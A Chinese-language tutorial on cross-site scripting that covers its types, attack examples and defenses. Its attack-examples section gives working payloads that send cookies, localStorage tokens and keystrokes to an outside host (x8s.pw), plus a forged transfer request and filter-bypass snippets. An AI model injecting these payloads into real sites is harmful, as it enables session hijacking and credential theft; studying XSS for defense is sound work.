从入门到精通:一步步带你了解XSS
在网络安全领域,跨站脚本攻击(Cross-Site Scripting,简称 XSS) 是最常见的一类漏洞。它的门槛不高,但危害却可能极大。从最初的小白测试,到进阶的渗透利用,再到防御与修复,本篇文章将带你 从入门到精通,一步步了解 XSS。
一、XSS 入门:它到底是什么?
XSS 是什么?
跨站脚本攻击,指的是攻击者将恶意代码注入到网页中,导致浏览器执行本不该执行的脚本。
简单例子:
如果一个搜索框没有做过滤,用户输入:
<script>alert("XSS")</script>
结果页面原样输出,浏览器就会弹窗。
虽然只是个小小的弹窗,但在真正的攻击中,XSS 可以窃取 Cookie、伪造请求、盗取隐私。
一句话总结:XSS 就是“脚本注入”,让用户浏览器替黑客干坏事。
二、XSS 的进阶:三大类型
掌握 XSS,必须先了解它的三种常见分类:
反射型 XSS(Reflected XSS)
攻击代码存在于 URL 参数中。
用户点开链接 → 立即触发。
特点:一次性、依赖点击。
存储型 XSS(Stored XSS)
攻击代码被存储在数据库、评论区、日志中。
其他用户访问页面 → 自动触发。
特点:最危险、传播范围大。
DOM 型 XSS(DOM-based XSS)
出现在前端 JavaScript 逻辑中。
例如:
document.write(location.hash);
攻击者构造
http://site.com/#<script>...</script>
即可触发。
三、XSS 的常见攻击实例
1. 窃取 Cookie
new Image().src="https://x8s.pw/steal?c="+document.cookie;
2. 窃取 LocalStorage
fetch("https://x8s.pw/log?token="+localStorage.getItem("token"));
3. 键盘记录
document.addEventListener("input", e=>{ fetch("https://x8s.pw/key?data="+encodeURIComponent(e.target.value)); });
4. 伪造请求
fetch("/api/transfer",{ method:"POST", body:"to=hacker&amount=1000", credentials:"include"});
这些例子展示了:XSS 不只是弹窗,而是能 全面劫持用户浏览器。
四、XSS 的进阶玩法
当你掌握了基础,XSS 还有更高级的技巧:
绕过过滤
使用编码绕过(如
<script>
)。使用事件触发(如
<img src=1 onerror=alert(1)>
)。构造钓鱼页面
通过 XSS 在原站注入一个假的登录框,引诱用户输入账号密码。
蠕虫传播
存储型 XSS 可以自我复制,将恶意代码写入更多页面,像病毒一样扩散。
结合 CSRF / SSRF
XSS 获取 Token,再结合其他漏洞,完成更深层的攻击链。
五、防御 XSS:从开发者到运维的实践
输入验证与输出转义
在用户输入进入数据库前,进行严格过滤。
在页面输出时,针对不同上下文(HTML、JS、URL、CSS)进行对应转义。
HttpOnly Cookie
防止 JavaScript 获取关键 Cookie。
CSP(内容安全策略)
限制外部脚本来源,禁止内联脚本执行。
使用框架的安全特性
React、Vue 默认会转义变量,减少 XSS 风险。
安全检测
定期使用工具(如 Burp、Nuclei)扫描漏洞。
六、总结
XSS 的魅力在于:入门简单,进阶很深。
对新手来说,XSS 是了解前端与安全的绝佳入口。
对黑客来说,XSS 是控制用户浏览器的利器。
对开发者来说,XSS 是必须防御的头号威胁。
从入门到精通,你会发现 XSS 不仅仅是“弹窗小技巧”,而是整个 Web 安全生态的核心一环。